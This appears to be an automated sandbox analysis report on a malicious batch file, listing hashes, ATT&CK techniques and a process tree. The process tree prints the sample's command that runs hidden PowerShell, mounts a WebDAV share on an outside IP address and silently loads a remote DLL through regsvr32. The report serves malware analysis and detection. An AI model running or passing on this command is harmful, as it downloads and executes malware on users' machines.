5ceb8efed431a82fc8064c2df189aebd97a5eb5c681090466562b94af466fd9c

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 06:44

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General

Target

60254703205616104.bat
Size

2KB
MD5

337804a5238bbba61e5eda47a8f68fe4
SHA1

7292ffe85ac1841da399780f922092b47a49af83
SHA256

425bcff3bac627b4f328b01be296d31334c1b095921838c9455a06bd9e23e9f8
SHA512

c6ca48f73c63f7bd92cb554f5dcc3a7645b6e69863794fc312e33dd8228799e9eb923f6352071f41975a27f54ab314c75be3605fefa58edb7d201c2249b8bf6a

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2288	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2288	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2288	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2600	wordpad.exe
2600	wordpad.exe
2600	wordpad.exe
2600	wordpad.exe
2600	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2520 wrote to memory of 2600	2520	cmd.exe	31
PID 2520 wrote to memory of 2600	2520	cmd.exe	31
PID 2520 wrote to memory of 2600	2520	cmd.exe	31
PID 2520 wrote to memory of 2288	2520	cmd.exe	32
PID 2520 wrote to memory of 2288	2520	cmd.exe	32
PID 2520 wrote to memory of 2288	2520	cmd.exe	32
PID 2288 wrote to memory of 2800	2288	powershell.exe	34
PID 2288 wrote to memory of 2800	2288	powershell.exe	34
PID 2288 wrote to memory of 2800	2288	powershell.exe	34
PID 2288 wrote to memory of 2932	2288	powershell.exe	35
PID 2288 wrote to memory of 2932	2288	powershell.exe	35
PID 2288 wrote to memory of 2932	2288	powershell.exe	35
PID 2288 wrote to memory of 2932	2288	powershell.exe	35
PID 2288 wrote to memory of 2932	2288	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\60254703205616104.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2520
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\159002945210397.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2288
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2800
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\159002945210397.dll
    3⤵
    PID:2932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2288-22-0x000000001B750000-0x000000001BA32000-memory.dmp

Filesize
2.9MB

Download
memory/2288-23-0x00000000002E0000-0x00000000002E8000-memory.dmp

Filesize
32KB

Download